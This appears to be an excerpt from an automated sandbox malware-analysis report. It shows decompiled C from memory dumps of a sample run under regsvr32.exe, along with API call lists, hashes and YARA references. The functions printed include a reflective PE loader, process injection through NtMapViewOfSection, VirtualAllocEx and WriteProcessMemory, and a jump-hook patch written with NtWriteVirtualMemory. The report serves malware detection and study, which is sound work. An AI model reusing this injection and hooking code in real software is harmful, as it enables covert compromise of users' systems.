0x00000000
0x00092ffb
0x00093004
0x00093004
0x00092ff7
0x00092ff2
0x00092fea
0x00092fd6
0x00092fdf
0x00092fdf

APIs

memcpy.MSVCRT ref: 00092EBD
memcpy.MSVCRT ref: 00092F34
memcpy.MSVCRT ref: 00092F63
memcpy.MSVCRT ref: 00092F8F
memcpy.MSVCRT ref: 00093044

Part of subcall function 00095DD0: memcpy.MSVCRT ref: 00095EAE

Part of subcall function 00094B30: memcpy.MSVCRT ref: 00094B5A

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: memcpy
String ID:
API String ID: 3510742995-0
Opcode ID: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction ID: 1d6b34e382e40ef923690c284d6b27d1efaca96ebac1f7cec2adddd4b25623cc
Opcode Fuzzy Hash: 02feba5ad5f49e0a995842d61c8ce91333d91de9632e587c2a68fb90f2e6a76c
Instruction Fuzzy Hash: 47D10471A00A049FCB64CF6DC8D4AAAB7F1FF88304B24892DE88AC7751D771E945DB54

Uniqueness

Uniqueness Score: -1.00%

Function 00092B24, Relevance: 6.2, APIs: 4, Instructions: 219
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E00092B24(intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				signed int _v5;
				signed short _v12;
				intOrPtr* _v16;
				signed int* _v20;
				intOrPtr _v24;
				unsigned int _v28;
				signed short* _v32;
				struct HINSTANCE__* _v36;
				intOrPtr* _v40;
				signed short* _v44;
				intOrPtr _v48;
				unsigned int _v52;
				intOrPtr _v56;
				_Unknown_base(*)()* _v60;
				signed int _v64;
				intOrPtr _v68;
				intOrPtr _v72;
				unsigned int _v76;
				intOrPtr _v80;
				signed int _v84;
				intOrPtr _v88;
				signed int _t149;
				void* _t189;
				signed int _t194;
				signed int _t196;
				intOrPtr _t236;

				_v72 =  *((intOrPtr*)(_a4 + 0x3c)) + _a4;
				_v24 = _v72;
				_t236 = _a4 -  *((intOrPtr*)(_v24 + 0x34));
				_v56 = _t236;
				if(_t236 == 0) {
					L13:
					while(0 != 0) {
					}
					_push(8);
					if( *((intOrPtr*)(_v24 + 0xbadc25)) == 0) {
						L35:
						_v68 =  *((intOrPtr*)(_v24 + 0x28)) + _a4;
						while(0 != 0) {
						}
						if(_a12 != 0) {
							 *_a12 = _v68;
						}
						 *((intOrPtr*)(_v24 + 0x34)) = _a4;
						return _v68(_a4, 1, _a8);
					}
					_v84 = 0x80000000;
					_t149 = 8;
					_v16 = _a4 +  *((intOrPtr*)(_v24 + (_t149 << 0) + 0x78));
					while( *((intOrPtr*)(_v16 + 0xc)) != 0) {
						_v36 = GetModuleHandleA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						if(_v36 == 0) {
							_v36 = LoadLibraryA( *((intOrPtr*)(_v16 + 0xc)) + _a4);
						}
						if(_v36 != 0) {
							if( *_v16 == 0) {
								_v20 =  *((intOrPtr*)(_v16 + 0x10)) + _a4;
							} else {
								_v20 =  *_v16 + _a4;
							}
							_v64 = _v64 & 0x00000000;
							while( *_v20 != 0) {
								if(( *_v20 & _v84) == 0) {
									_v88 =  *_v20 + _a4;
									_v60 = GetProcAddress(_v36, _v88 + 2);
								} else {
									_v60 = GetProcAddress(_v36,  *_v20 & 0x0000ffff);
								}
								if( *((intOrPtr*)(_v16 + 0x10)) == 0) {
									 *_v20 = _v60;
								} else {
									 *( *((intOrPtr*)(_v16 + 0x10)) + _a4 + _v64) = _v60;
								}
								_v20 =  &(_v20[1]);
								_v64 = _v64 + 4;
							}
							_v16 = _v16 + 0x14;
							continue;
						} else {
							_t189 = 0xfffffffd;
							return _t189;
						}
					}
					goto L35;
				}
				_t194 = 8;
				_v44 = _a4 +  *((intOrPtr*)(_v24 + 0x78 + _t194 * 5));
				_t196 = 8;
				_v48 =  *((intOrPtr*)(_v24 + 0x7c + _t196 * 5));
				while(0 != 0) {
				}
				while(_v48 > 0) {
					_v28 = _v44[2];
					_v48 = _v48 - _v28;
					_v28 = _v28 - 8;
					_v28 = _v28 >> 1;
					_v32 =  &(_v44[4]);
					_v80 = _a4 +  *_v44;
					_v52 = _v28;
					while(1) {
						_v76 = _v52;
						_v52 = _v52 - 1;
						if(_v76 == 0) {
							break;
						}
						_v5 = ( *_v32 & 0x0000ffff) >> 0xc;
						_v12 =  *_v32 & 0xfff;
						_v40 = (_v12 & 0x0000ffff) + _v80;
						if((_v5 & 0x000000ff) != 3) {
							if((_v5 & 0x000000ff) == 0xa) {
								 *_v40 =  *_v40 + _v56;
							}
						} else {
							 *_v40 =  *_v40 + _v56;
						}
						_v32 =  &(_v32[1]);
					}
					_v44 = _v32;
				}
				goto L13;
			}

0x00092b33
0x00092b39
0x00092b42
0x00092b45
0x00092b48
0x00000000
0x00092c39
0x00092c3d
0x00092c3f
0x00092c4d
0x00092d6b
0x00092d74
0x00092d77
0x00092d7b
0x00092d81
0x00092d89
0x00092d89
0x00092d91
0x00000000
0x00092d9c
0x00092c53
0x00092c5c
0x00092c6a
0x00092c6d
0x00092c8a
0x00092c91
0x00092ca3
0x00092ca3
0x00092caa
0x00092cba
0x00092cd2
0x00092cbc
0x00092cc4
0x00092cc4
0x00092cd5
0x00092cd9
0x00092ce9
0x00092d0c
0x00092d1e
0x00092ceb
0x00092cff
0x00092cff
0x00092d28
0x00092d44
0x00092d2a
0x00092d39
0x00092d39
0x00092d4c
0x00092d55
0x00092d55
0x00092d63
0x00000000
0x00092cac
0x00092cae
0x00000000
0x00092cae
0x00092caa
0x00000000
0x00092c6d
0x00092b50
0x00092b5e
0x00092b63
0x00092b6e
0x00092b71
0x00092b75
0x00092b77
0x00092b87
0x00092b90
0x00092b99
0x00092ba1
0x00092baa
0x00092bb5
0x00092bbb
0x00092bbe
0x00092bc1
0x00092bc8
0x00092bcf
0x00000000
0x00000000
0x00092bda
0x00092be8
0x00092bf3
0x00092bfd
0x00092c15
0x00092c22
0x00092c22
0x00092bff
0x00092c0a
0x00092c0a
0x00092c29
0x00092c29
0x00092c31
0x00092c31
0x00000000

APIs

GetModuleHandleA.KERNEL32(?), ref: 00092C84
LoadLibraryA.KERNEL32(?), ref: 00092C9D
GetProcAddress.KERNEL32(00000000,890CC483), ref: 00092CF9
GetProcAddress.KERNEL32(00000000,?), ref: 00092D18

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: AddressProc$HandleLibraryLoadModule
String ID:
API String ID: 384173800-0
Opcode ID: 8b0f860062b7566b354e1c94a9238a23d10e63c9254979b45f4c1e3852145292
Instruction ID: 646b41fc526916c853fab26bda9d5e10092a64f59f2f819cd785ba041931e28c
Opcode Fuzzy Hash: 8b0f860062b7566b354e1c94a9238a23d10e63c9254979b45f4c1e3852145292
Instruction Fuzzy Hash: D5A17AB5A00209EFCF54CF98D885AADBBF0FF48314F148559E825AB351D734A981DF60

Uniqueness

Uniqueness Score: -1.00%

Function 00081C51, Relevance: 6.1, APIs: 4, Instructions: 106
COMMON

Download Yara Rule

C-Code - Quality: 75%

			E00081C51(signed int __ecx, void* __eflags, void* __fp0) {
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v28;
				void* _t13;
				intOrPtr _t15;
				signed int _t16;
				intOrPtr _t17;
				signed int _t18;
				char _t20;
				intOrPtr _t22;
				void* _t23;
				void* _t24;
				intOrPtr _t29;
				intOrPtr _t35;
				intOrPtr _t41;
				intOrPtr _t43;
				intOrPtr _t48;
				void* _t51;
				signed int _t61;
				signed int _t64;
				void* _t71;

				_t71 = __fp0;
				_t61 = __ecx;
				_t41 =  *0x9e6dc; // 0x1d4
				_t13 = E0008A501(_t41, 0);
				while(_t13 < 0) {
					E000897ED( &_v28);
					_t43 =  *0x9e6e0; // 0x0
					_t15 =  *0x9e6e4; // 0x0
					_t41 = _t43 + 0xe10;
					asm("adc eax, ebx");
					__eflags = _t15 - _v24;
					if(__eflags > 0) {
						L9:
						_t16 = 0xfffffffe;
						L13:
						return _t16;
					}
					if(__eflags < 0) {
						L4:
						_t17 =  *0x9e684; // 0xa5f8f0
						_t18 =  *((intOrPtr*)(_t17 + 0xc8))( *0x9e6d0, 0);
						__eflags = _t18;
						if(_t18 == 0) {
							break;
						}
						_t35 =  *0x9e684; // 0xa5f8f0
						 *((intOrPtr*)(_t35 + 0xb4))(0x3e8);
						_t41 =  *0x9e6dc; // 0x1d4
						__eflags = 0;
						_t13 = E0008A501(_t41, 0);
						continue;
					}
					__eflags = _t41 - _v28;
					if(_t41 >= _v28) {
						goto L9;
					}
					goto L4;
				}
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t20 =  *0x9e6e8; // 0xa5ffa8
				_v28 = _t20;
				_t22 = E0008A6EB(_t41, _t61,  &_v16);
				_v20 = _t22;
				if(_t22 != 0) {
					_t23 = GetCurrentProcess();
					_t24 = GetCurrentThread();
					DuplicateHandle(GetCurrentProcess(), _t24, _t23, 0x9e6d0, 0, 0, 2);
					E000897ED(0x9e6e0);
					_t64 = E00081A01( &_v28, E00081226, _t71);
					__eflags = _t64;
					if(_t64 >= 0) {
						_push(0);
						_push( *0x9e760);
						_t51 = 0x27;
						E00089ED1(_t51);
					}
				} else {
					_t64 = _t61 | 0xffffffff;
				}
				_t29 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t29 + 0x30))( *0x9e6d0);
				_t48 =  *0x9e6dc; // 0x1d4
				 *0x9e6d0 = 0;
				E0008A51D(_t48);
				E000885FB( &_v24, 0);
				_t16 = _t64;
				goto L13;
			}

0x00081c51
0x00081c5e
0x00081c60
0x00081c67
0x00081ccd
0x00081c74
0x00081c79
0x00081c7f
0x00081c84
0x00081c8a
0x00081c8c
0x00081c90
0x00081cfe
0x00081d00
0x00081d82
0x00081d88
0x00081d88
0x00081c92
0x00081c9a
0x00081c9a
0x00081ca6
0x00081cac
0x00081cae
0x00000000
0x00000000
0x00081cb0
0x00081cba
0x00081cc0
0x00081cc6
0x00081cc8
0x00000000
0x00081cc8
0x00081c94
0x00081c98
0x00000000
0x00000000
0x00000000
0x00081c98
0x00081cd7
0x00081cd8
0x00081cd9
0x00081cda
0x00081cdb
0x00081ce0
0x00081cea
0x00081cef
0x00081cf7
0x00081d12
0x00081d15
0x00081d1f
0x00081d2a
0x00081d3d
0x00081d3f
0x00081d41
0x00081d43
0x00081d44
0x00081d4c
0x00081d4d
0x00081d53
0x00081cf9
0x00081cf9
0x00081cf9
0x00081d54
0x00081d5f
0x00081d62
0x00081d68
0x00081d6e
0x00081d79
0x00081d80
0x00000000

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b2496e523a1bcad309890bdadb9e8a4e23acb58a755257578e7477a6aebcc166
Instruction ID: 32fa2d0315736cd9dd457b92398e39eaf5c183d7f1ce8164e2c4fef327052670
Opcode Fuzzy Hash: b2496e523a1bcad309890bdadb9e8a4e23acb58a755257578e7477a6aebcc166
Instruction Fuzzy Hash: 0531C132604244AFF354FF68EC859AA77A9FF94394B040A2BF581C72E2DE349C45CB52

Uniqueness

Uniqueness Score: -1.00%

Function 00081B16, Relevance: 6.1, APIs: 4, Instructions: 97
threadCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E00081B16(void* __eflags, void* __fp0) {
				char _v24;
				char _v28;
				void* _t12;
				intOrPtr _t14;
				void* _t15;
				intOrPtr _t16;
				void* _t17;
				void* _t19;
				void* _t20;
				char _t24;
				intOrPtr _t26;
				intOrPtr _t28;
				intOrPtr _t33;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t41;
				intOrPtr _t46;
				void* _t48;
				intOrPtr _t51;
				void* _t61;
				void* _t71;

				_t71 = __fp0;
				_t38 =  *0x9e6f4; // 0x1d0
				_t12 = E0008A501(_t38, 0);
				while(_t12 < 0) {
					E000897ED( &_v28);
					_t40 =  *0x9e700; // 0x0
					_t14 =  *0x9e704; // 0x0
					_t41 = _t40 + 0x3840;
					asm("adc eax, ebx");
					__eflags = _t14 - _v24;
					if(__eflags > 0) {
						L13:
						_t15 = 0;
					} else {
						if(__eflags < 0) {
							L4:
							_t16 =  *0x9e684; // 0xa5f8f0
							_t17 =  *((intOrPtr*)(_t16 + 0xc8))( *0x9e6ec, 0);
							__eflags = _t17;
							if(_t17 == 0) {
								break;
							} else {
								_t33 =  *0x9e684; // 0xa5f8f0
								 *((intOrPtr*)(_t33 + 0xb4))(0x1388);
								_t51 =  *0x9e6f4; // 0x1d0
								__eflags = 0;
								_t12 = E0008A501(_t51, 0);
								continue;
							}
						} else {
							__eflags = _t41 - _v28;
							if(_t41 >= _v28) {
								goto L13;
							} else {
								goto L4;
							}
						}
					}
					L12:
					return _t15;
				}
				E000897ED(0x9e700);
				_t19 = GetCurrentProcess();
				_t20 = GetCurrentThread();
				DuplicateHandle(GetCurrentProcess(), _t20, _t19, 0x9e6ec, 0, 0, 2);
				asm("stosd");
				asm("stosd");
				asm("stosd");
				asm("stosd");
				_t24 =  *0x9e6e8; // 0xa5ffa8
				_v28 = _t24;
				_t61 = E00081A01( &_v28, E00081310, _t71);
				if(_t61 >= 0) {
					_push(0);
					_push( *0x9e760);
					_t48 = 0x27;
					E00089ED1(_t48);
				}
				if(_v24 != 0) {
					E00086871( &_v24);
				}
				_t26 =  *0x9e684; // 0xa5f8f0
				 *((intOrPtr*)(_t26 + 0x30))( *0x9e6ec);
				_t28 =  *0x9e758; // 0x0
				 *0x9e6ec = 0;
				_t29 =  !=  ? 1 : _t28;
				_t46 =  *0x9e6f4; // 0x1d0
				 *0x9e758 =  !=  ? 1 : _t28;
				E0008A51D(_t46);
				_t15 = _t61;
				goto L12;
			}

0x00081b16
0x00081b1c
0x00081b2a
0x00081b98
0x00081b37
0x00081b3c
0x00081b42
0x00081b47
0x00081b4d
0x00081b4f
0x00081b53
0x00081c4d
0x00081c4d
0x00081b59
0x00081b59
0x00081b65
0x00081b65
0x00081b71
0x00081b77
0x00081b79
0x00000000
0x00081b7b
0x00081b7b
0x00081b85
0x00081b8b
0x00081b91
0x00081b93
0x00000000
0x00081b93
0x00081b5b
0x00081b5b
0x00081b5f
0x00000000
0x00000000
0x00000000
0x00000000
0x00081b5f
0x00081b59
0x00081c46
0x00081c4c
0x00081c4c
0x00081ba1
0x00081bb5
0x00081bb8
0x00081bc2
0x00081bce
0x00081bd8
0x00081bd9
0x00081bda
0x00081bdb
0x00081be0
0x00081be9
0x00081bed
0x00081bef
0x00081bf0
0x00081bf8
0x00081bf9
0x00081bff
0x00081c04
0x00081c0a
0x00081c0a
0x00081c0f
0x00081c1a
0x00081c1d
0x00081c25
0x00081c31
0x00081c34
0x00081c3a
0x00081c3f
0x00081c44
0x00000000

APIs

GetCurrentProcess.KERNEL32(0009E6EC,00000000,00000000,00000002), ref: 00081BB5
GetCurrentThread.KERNEL32(00000000), ref: 00081BB8
GetCurrentProcess.KERNEL32(00000000), ref: 00081BBF
DuplicateHandle.KERNEL32 ref: 00081BC2

Memory Dump Source

Source File: 00000008.00000002.896965295.0000000000080000.00000040.00020000.sdmp, Offset: 00080000, based on PE: true

Yara matches

Similarity

API ID: Current$Process$DuplicateHandleThread
String ID:
API String ID: 3566409357-0
Opcode ID: dc00a6f234308782c87ce612f424c0ccfefd8b5632b514a8c79e256036496adc
Instruction ID: f96180bd9b8aa37851658eef74f7edd86bca5450b5cdcd4767c72984123f9977
Opcode Fuzzy Hash: dc00a6f234308782c87ce612f424c0ccfefd8b5632b514a8c79e256036496adc
Instruction Fuzzy Hash: 8731A135608680DFF704FFA4EC859AA77A8FF64391B04086EF641C72A2DA389C05CB52

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exe PID: 2840 Parent PID: 1892 regsvr32.exeCOMMON

Executed Functions

Function 6CE6C702, Relevance: 28.2, APIs: 13, Strings: 3, Instructions: 200
nativeregistrymemoryCOMMON

Download Yara Rule

C-Code - Quality: 86%

			E6CE6C702(void* __ecx, intOrPtr __edx) {
				void* _v8;
				void* _v12;
				void* _v16;
				void* _v20;
				long _v24;
				long _v28;
				void* _v32;
				intOrPtr _v36;
				long _v40;
				void* _v44;
				char _v56;
				char _v72;
				struct _WNDCLASSEXA _v120;
				void* _t69;
				intOrPtr _t75;
				struct HWND__* _t106;
				intOrPtr* _t113;
				struct _EXCEPTION_RECORD _t116;
				void* _t126;
				void* _t131;
				intOrPtr _t134;
				void* _t140;
				void* _t141;

				_t69 =  *0x6ce7e688; // 0x5e0590
				_t126 = __ecx;
				_t134 = __edx;
				_t116 = 0;
				_v36 = __edx;
				_v16 = 0;
				_v44 = 0;
				_v40 = 0;
				_v12 = 0;
				_v8 = 0;
				_v24 = 0;
				_v20 = __ecx;
				if(( *(_t69 + 0x1898) & 0x00000040) != 0) {
					E6CE6E280(0x1f4);
					_t116 = 0;
				}
				_t113 =  *((intOrPtr*)(_t134 + 0x3c)) + _t134;
				_v28 = _t116;
				if( *_t113 != 0x4550) {
					L12:
					if(_v8 != 0) {
						_t75 =  *0x6ce7e780; // 0x65fbc8
						 *((intOrPtr*)(_t75 + 0x10))(_t126, _v8);
						_v8 = _v8 & 0x00000000;
					}
					L14:
					if(_v12 != 0) {
						NtUnmapViewOfSection(GetCurrentProcess(), _v12);
					}
					if(_v16 != 0) {
						NtClose(_v16);
					}
					return _v8;
				}
				_v44 =  *((intOrPtr*)(_t113 + 0x50));
				if(NtCreateSection( &_v16, 0xe, _t116,  &_v44, 0x40, 0x8000000, _t116) < 0) {
					goto L12;
				}
				_v120.style = 0xb;
				_v120.cbSize = 0x30;
				_v120.lpszClassName =  &_v56;
				asm("movsd");
				_v120.lpfnWndProc = DefWindowProcA;
				asm("movsd");
				asm("movsd");
				asm("movsb");
				asm("movsd");
				asm("movsd");
				asm("movsw");
				asm("movsb");
				_v120.cbWndExtra = 0;
				_v120.lpszMenuName = 0;
				_v120.cbClsExtra = 0;
				_v120.hInstance = 0;
				if(RegisterClassExA( &_v120) != 0) {
					_t106 = CreateWindowExA(0,  &_v56,  &_v72, 0xcf0000, 0x80000000, 0x80000000, 0x1f4, 0x64, 0, 0, 0, 0); // executed
					if(_t106 != 0) {
						DestroyWindow(_t106); // executed
						UnregisterClassA( &_v56, 0);
					}
				}
				if(NtMapViewOfSection(_v16, GetCurrentProcess(),  &_v12, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
					_t126 = _v20;
					goto L12;
				} else {
					_t126 = _v20;
					if(NtMapViewOfSection(_v16, _t126,  &_v8, 0, 0, 0,  &_v24, 2, 0, 0x40) < 0) {
						goto L12;
					}
					_t140 = E6CE6864A( *0x6ce7e688, 0x1ac4);
					_v32 = _t140;
					if(_t140 == 0) {
						goto L12;
					}
					 *((intOrPtr*)(_t140 + 0x224)) = _v8;
					_t131 = VirtualAllocEx(_t126, 0, 0x1ac4, 0x1000, 4);
					WriteProcessMemory(_v20, _t131, _t140, 0x1ac4,  &_v28);
					E6CE685FB( &_v32, 0x1ac4);
					_t141 =  *0x6ce7e688; // 0x5e0590
					 *0x6ce7e688 = _t131;
					E6CE686C2(_v12, _v36,  *((intOrPtr*)(_t113 + 0x50)));
					E6CE6C681(_v12, _v8, _v36);
					 *0x6ce7e688 = _t141;
					goto L14;
				}
			}

0x6ce6c708
0x6ce6c70f
0x6ce6c711
0x6ce6c713
0x6ce6c715
0x6ce6c718
0x6ce6c71b
0x6ce6c71e
0x6ce6c721
0x6ce6c724
0x6ce6c727
0x6ce6c731
0x6ce6c734
0x6ce6c73b
0x6ce6c740
0x6ce6c740
0x6ce6c746
0x6ce6c748
0x6ce6c751
0x6ce6c8f7
0x6ce6c8fb
0x6ce6c900
0x6ce6c906
0x6ce6c909
0x6ce6c909
0x6ce6c90d
0x6ce6c912
0x6ce6c924
0x6ce6c924
0x6ce6c92d
0x6ce6c937
0x6ce6c937
0x6ce6c93e
0x6ce6c93e
0x6ce6c760
0x6ce6c77a
0x00000000
0x00000000
0x6ce6c785
0x6ce6c78f
0x6ce6c799
0x6ce6c79c
0x6ce6c7a2
0x6ce6c7a9
0x6ce6c7aa
0x6ce6c7ab
0x6ce6c7b4
0x6ce6c7b5
0x6ce6c7b6
0x6ce6c7b8
0x6ce6c7bb
0x6ce6c7be
0x6ce6c7c1
0x6ce6c7c4
0x6ce6c7d0
0x6ce6c7f2
0x6ce6c7fa
0x6ce6c7fd
0x6ce6c808
0x6ce6c808
0x6ce6c7fa
0x6ce6c833
0x6ce6c8f4
0x00000000
0x6ce6c839
0x6ce6c845
0x6ce6c85a
0x00000000
0x00000000
0x6ce6c870
0x6ce6c872
0x6ce6c879
0x00000000
0x00000000
0x6ce6c88a
0x6ce6c8a1
0x6ce6c8b1
0x6ce6c8bd
0x6ce6c8c2
0x6ce6c8c8
0x6ce6c8d8
0x6ce6c8e4
0x6ce6c8ec
0x00000000
0x6ce6c8ec

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6CE65CCD), ref: 6CE6C775
RegisterClassExA.USER32 ref: 6CE6C7C7
CreateWindowExA.USER32 ref: 6CE6C7F2
DestroyWindow.USER32 ref: 6CE6C7FD
UnregisterClassA.USER32(?,00000000), ref: 6CE6C808
GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6CE6C824
NtMapViewOfSection.NTDLL(?,00000000), ref: 6CE6C82E
NtMapViewOfSection.NTDLL(?,6CE6CBE2,00000000,00000000,00000000,00000000,?,00000002,00000000,00000040), ref: 6CE6C855
VirtualAllocEx.KERNEL32(6CE6CBE2,00000000,00001AC4,00001000,00000004), ref: 6CE6C898
WriteProcessMemory.KERNEL32(6CE6CBE2,00000000,00000000,00001AC4,?), ref: 6CE6C8B1

Part of subcall function 6CE685FB: HeapFree.KERNEL32(00000000,00000000,00000001), ref: 6CE68641

GetCurrentProcess.KERNEL32(00000000), ref: 6CE6C91D
NtUnmapViewOfSection.NTDLL(00000000), ref: 6CE6C924
NtClose.NTDLL(00000000), ref: 6CE6C937

Strings

cdcdwqwqwq, xrefs: 6CE6C7AC
sadccdcdsasa, xrefs: 6CE6C780
0, xrefs: 6CE6C78F

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
Associated: 0000000C.00000002.601401710.000000006CE7F000.00000002.00020000.sdmp Download File

Similarity

API ID: Section$ProcessView$ClassCreateCurrentWindow$AllocCloseDestroyFreeHeapMemoryRegisterUnmapUnregisterVirtualWrite
String ID: 0$cdcdwqwqwq$sadccdcdsasa
API String ID: 2002808388-2319545179
Opcode ID: 47454fdf1f42ce41d26798cc8d5fc4a7b95258c4ea6c5e46de7ceb46a1454ac1
Instruction ID: e6d7e618e4e2283e83ea23f828f773c28909842f068e8902c88828e8721427d3
Opcode Fuzzy Hash: 47454fdf1f42ce41d26798cc8d5fc4a7b95258c4ea6c5e46de7ceb46a1454ac1
Instruction Fuzzy Hash: E1713C71A41219AFEF11DF95C948EEFBBB9FB4A704F20005AF505B7680D774AA01CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 6CEDF9DD, Relevance: 13.8, APIs: 9, Instructions: 318memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00000862,00003000,00000040,00000862,6CEDF430), ref: 6CEDFA9A
VirtualAlloc.KERNEL32(00000000,00000183,00003000,00000040,6CEDF48F), ref: 6CEDFAD1
VirtualAlloc.KERNEL32(00000000,00022F3E,00003000,00000040), ref: 6CEDFB31
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6CEDFB67
VirtualProtect.KERNEL32(6CE60000,00000000,00000004,6CEDF9BC), ref: 6CEDFC6C
VirtualProtect.KERNEL32(6CE60000,00001000,00000004,6CEDF9BC), ref: 6CEDFC93
VirtualProtect.KERNEL32(00000000,?,00000002,6CEDF9BC), ref: 6CEDFD60
VirtualProtect.KERNEL32(00000000,?,00000002,6CEDF9BC,?), ref: 6CEDFDB6
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 6CEDFDD2

Memory Dump Source

Source File: 0000000C.00000002.601469567.000000006CEDF000.00000040.00020000.sdmp, Offset: 6CEDF000, based on PE: false

Similarity

API ID: Virtual$Protect$Alloc$Free
String ID:
API String ID: 2574235972-0
Opcode ID: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction ID: f1406e09b2ba2f82f9b1ec42b8467a6624c2661ca067da0ae9ebddd6a6ce4a64
Opcode Fuzzy Hash: fb6c431101c8dc3f584e26c8fffcf4f1a6c937530c03ec3e596e96422c63e17b
Instruction Fuzzy Hash: F2D1B036102202AFDB01CF96C880B9577B5FF48754B2941D6EE18AFB5AD370B84ECB64

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6CBB9, Relevance: 7.6, APIs: 5, Instructions: 105
nativeCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E6CE6CBB9(void* __ecx, void** __edx, void* __eflags, intOrPtr _a4) {
				long _v8;
				long _v12;
				void* _v16;
				intOrPtr _v23;
				void _v24;
				long _v28;
				void* _v568;
				void _v744;
				void* __ebx;
				void* __edi;
				void* __esi;
				struct HINSTANCE__* _t32;
				intOrPtr _t33;
				intOrPtr _t35;
				void* _t39;
				intOrPtr _t43;
				void* _t63;
				long _t65;
				void* _t70;
				void** _t73;
				void* _t74;

				_t73 = __edx;
				_t63 = __ecx;
				_t74 = 0;
				if(E6CE6C510(__ecx, __edx, __edx, 0) != 0) {
					_t39 = E6CE6C702( *((intOrPtr*)(__edx)), _a4); // executed
					_t74 = _t39;
					if(_t74 != 0) {
						memset( &_v744, 0, 0x2cc);
						_v744 = 0x10002;
						_push( &_v744);
						_t43 =  *0x6ce7e684; // 0x65faa0
						_push(_t73[1]);
						if( *((intOrPtr*)(_t43 + 0xa8))() != 0) {
							_t70 = _v568;
							_v12 = _v12 & 0x00000000;
							_v24 = 0xe9;
							_t65 = 5;
							_v23 = _t74 - _t70 - _a4 + _t63 + 0xfffffffb;
							_v8 = _t65;
							_v16 = _t70;
							if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, 4,  &_v12) < 0 || NtWriteVirtualMemory( *_t73, _v568,  &_v24, _t65,  &_v8) < 0) {
								L6:
								_t74 = 0;
							} else {
								_v28 = _v28 & 0x00000000;
								if(NtProtectVirtualMemory( *_t73,  &_v16,  &_v8, _v12,  &_v28) < 0) {
									goto L6;
								}
							}
						}
					}
				}
				_t32 =  *0x6ce7e77c; // 0x0
				if(_t32 != 0) {
					FreeLibrary(_t32);
					 *0x6ce7e77c =  *0x6ce7e77c & 0x00000000;
				}
				_t33 =  *0x6ce7e784; // 0x0
				if(_t33 != 0) {
					_t35 =  *0x6ce7e684; // 0x65faa0
					 *((intOrPtr*)(_t35 + 0x10c))(_t33);
					E6CE685FB(0x6ce7e784, 0xfffffffe);
				}
				return _t74;
			}

0x6ce6cbc5
0x6ce6cbc7
0x6ce6cbc9
0x6ce6cbd2
0x6ce6cbdd
0x6ce6cbe2
0x6ce6cbe6
0x6ce6cbfa
0x6ce6cc02
0x6ce6cc12
0x6ce6cc13
0x6ce6cc18
0x6ce6cc23
0x6ce6cc29
0x6ce6cc31
0x6ce6cc3f
0x6ce6cc45
0x6ce6cc46
0x6ce6cc52
0x6ce6cc59
0x6ce6cc69
0x6ce6cca9
0x6ce6cca9
0x6ce6cc88
0x6ce6cc88
0x6ce6cca7
0x00000000
0x00000000
0x6ce6cca7
0x6ce6cc69
0x6ce6cc23
0x6ce6cbe6
0x6ce6ccab
0x6ce6ccb2
0x6ce6ccb5
0x6ce6ccbb
0x6ce6ccbb
0x6ce6ccc2
0x6ce6ccc9
0x6ce6cccc
0x6ce6ccd1
0x6ce6ccde
0x6ce6cce4
0x6ce6cceb

APIs

Part of subcall function 6CE6C510: LoadLibraryW.KERNEL32 ref: 6CE6C608
Part of subcall function 6CE6C510: memset.MSVCRT ref: 6CE6C647

FreeLibrary.KERNEL32(00000000,?,00000000,00000000), ref: 6CE6CCB5

Part of subcall function 6CE6C702: NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000,6CE65CCD), ref: 6CE6C775
Part of subcall function 6CE6C702: RegisterClassExA.USER32 ref: 6CE6C7C7
Part of subcall function 6CE6C702: CreateWindowExA.USER32 ref: 6CE6C7F2
Part of subcall function 6CE6C702: DestroyWindow.USER32 ref: 6CE6C7FD
Part of subcall function 6CE6C702: UnregisterClassA.USER32(?,00000000), ref: 6CE6C808

memset.MSVCRT ref: 6CE6CBFA
NtProtectVirtualMemory.NTDLL(?,?,?,00000004,00000000), ref: 6CE6CC64
NtWriteVirtualMemory.NTDLL(?,?,000000E9,00000005,?), ref: 6CE6CC81
NtProtectVirtualMemory.NTDLL(?,?,?,00000000,00000000), ref: 6CE6CCA2

Memory Dump Source

Source File: 0000000C.00000002.601351808.000000006CE61000.00000020.00020000.sdmp, Offset: 6CE60000, based on PE: true

Associated: 0000000C.00000002.601346499.000000006CE60000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601378534.000000006CE78000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.601396490.000000006CE7D000.00000004.00020000.sdmp Download File
